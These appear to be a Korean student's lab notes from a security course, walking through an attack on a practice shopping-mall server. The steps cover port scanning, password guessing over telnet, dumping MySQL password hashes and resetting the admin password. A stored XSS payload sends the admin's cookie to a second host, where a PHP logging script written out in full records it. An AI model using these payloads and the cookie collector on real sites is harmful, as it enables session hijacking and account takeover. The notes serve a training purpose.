26일차

●26일차 (20250122026.php)
kali NAT(IP: 10.0.2.15)
일단 ping을 때려 168.126.63.1(외부)로 가는지 확인

미션1.
공격을 칼리를 이용(NAT)
Attack.py를 이용하여 또는 완성하여 192.168.0.127을 공격하라
배포된 암호와 배포된 계정으로 사용자를 찾아라

nmap -v -p1-65535 192.168.0.127
> 80, 23, 3306이 열려있음

20,21 : FTP
22 : SSH
23 : TELNET
25 : SMTP
53 : DNS
80 : HTTP
110 : POP
143 : IMAP
443 : HTTPS
3306 : MYSQL

hydra -L account.txt -P password.txt 192.168.0.127
> 이게 안돼서

telnet 192.168.0.127
id : board
password : p2puDN00
> 비밀번호 하나하나 대입해줌
> telnet을 이용해 접속

cd /home/board
> public_html이 있는 걸 보면
> 웹으로 192.168.0.127/~board로 들어갈 수 있다
> 서버에서 192.168.0.127/nayamall을 찾자

미션2.
서버가 운영중인 서비스는 무엇이며 설치된 파일의 위치는 어디인가?
ps aux
서비스1: apache
/usr/local/apache/bin/httpd
서비스2: mysql
/usr/local/mysql/libexec/mysql

미션3.
데이터베이스에 접속하라
cd /usr/local/mysql/libexec
./mysql -u root -p shop
암호: 1TLBB7Nz
> 암호에서 하나하나 수동으로 대입해봄

mysql로 들어감
use shop;
selct * from shop;
show tables;
> paran_board_member가 있음

desc paran_board_member;

select user_id,password,name,level from paran_board_member;
> 아이디 별로 비밀번호가 뜸
> 코드를 분석해서 암호를 해석

미션4.
쇼핑몰의 관리자 암호는 무엇인가?
password() 함수를 통해 저장되기 때문에 확인이 불가
> 변경해버리자

edit plus로 들어가자
> 압축 파일을 풀어서 D드라이브에 놓고 edit plus로 해당 경로에 가서 열어줬다

naymall > member_join_ok.php라는 코드가 있다
> password('$password') > password라는 함수가 있는걸 확인 가능

update paran_board_member set password=password('123456') where user_id='admin';
> admin의 비밀번호를 바꿈

미션5.
web2.st.kr에서도 확인 가능함
해커의 CSRF공격 XSS공격을 통해 관리자 쿠키 확인

#쿠키값을 가져오자
192.168.0.127/nayamall
shop.st.kr/nayamall
질문과 답변에 관리자가 읽을만한 글을 남긴다
내용에 악성 코드를 짠다
> 글만 써도 ip가 찍히기때문에 글을 쓰고 관리자가 읽으면 삭제

<script>alert('hello');</script>
> hello라는 알림창이 뜸
<script>location.href='https://daum.net';</script>
> daum.net으로 넘어감

<script>alert(document.cookie);</script>
<script>location.href='192.168.0.201/cookie.php?cookie='+document.cookie;</script>
<script>location.href='http://192.168.0.201/cookie.php?cookie='+document.cookie;</script>
> 관리자의 쿠키를 가져와보자
> 들어오는 쿠키값이 저장되게끔 하고싶다
> 데이터베이스 혹은 파일에 저장

내 쿠키
PessionID=19ff0fe429f8adb5ba788080bcee31d8

1. 포트열기
kali NAT 포트 포워딩에서 80번을 열어줌
> 포트 열기(80)
> 192.168.0.201에 들어가면 apache2가 뜸

2. 192.168.0.201에 접속
systemctl start ssh
> xshell로 192.168.0.201에 접속함
> name: kali, pw: kali

3. 세팅
nano /etc/apache2/sitess-available/000-default.conf
> /home/kali/public_html

cd ~
mkdir public_html
chmod 711 $HOME
chmod 755 ~/public_html

a2enmod userdir
> 일반계정 활성화

systemctl restart apache2
> 192.168.0.201에 흰화면이 뜸

4. 쿠키를 가져와서 파일에 저장하는 코드짜기
public_html 아래에
nano cookie.php

<?php

  $cookie=$_GET['cookie'];
  //echo $cookie;

  $file = fopen("cookie.txt", "w");
  fwrite($file, $cookie);
  fclose($file);

  //echo "successful";

?>

<script>location.href='https://news.naver.com/'</script>
5. 웹에서 확인
> 192.168.0.201/cookie.php 웹에 들어가면 php가 작동이 안됨

fpm 설치
PHP-FPM(FPM : FastCGI Process Manager) 설치
> sudo apt -y install php8.2-fpm
> a2enmod proxy_fcgi setenvif
> a2enconf php8.2-fpm
> systemctl restart php8.2-fpm apache2
-> 원래는 8.3을 다운받아야 하지만 버전이 안깔림

touch cookie.txt
chmod 777 cookie.txt
> 쓰기 권한 주기

6. 관리자 쿠키 가져오기
게시판에 글을 올리자
<script>location.href='http://192.168.0.201/cookie.php?cookie='+document.cookie</script>
> 관리자가 읽으면
> cat cookie.txt
> 관리자의 쿠키가 뜬다
> PessionID=ef01c8320eee0466ae3963171f98d314

데이터베이스 연결
CREATE TABLE cookie (
idx int(6),
url varchar(100),
cookie varchar(100),
reg_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (idx)
);

미션6.
결제설정에 은행명과 계좌는 무엇인가?
> 얻어낸 쿠키로 burp suite를 이용해 들어감

+) 계정 추가
계정
hanatour > hanatour.com
naeiltour > naeiltour.co.kr

adduser hanatour
su hanatour
cd ~
chmod 711 $HOME
chmod 755 ~/public_html

nano /etc/resolv.conf
nano /etc/bind/named.conf.default-zones
nano /etc/apache2/sites_available/hosting.conf

db 추가(localhost)

systemctl restart apache2
systemctl restart bind9
systemctl restart named
systemctl restart mysql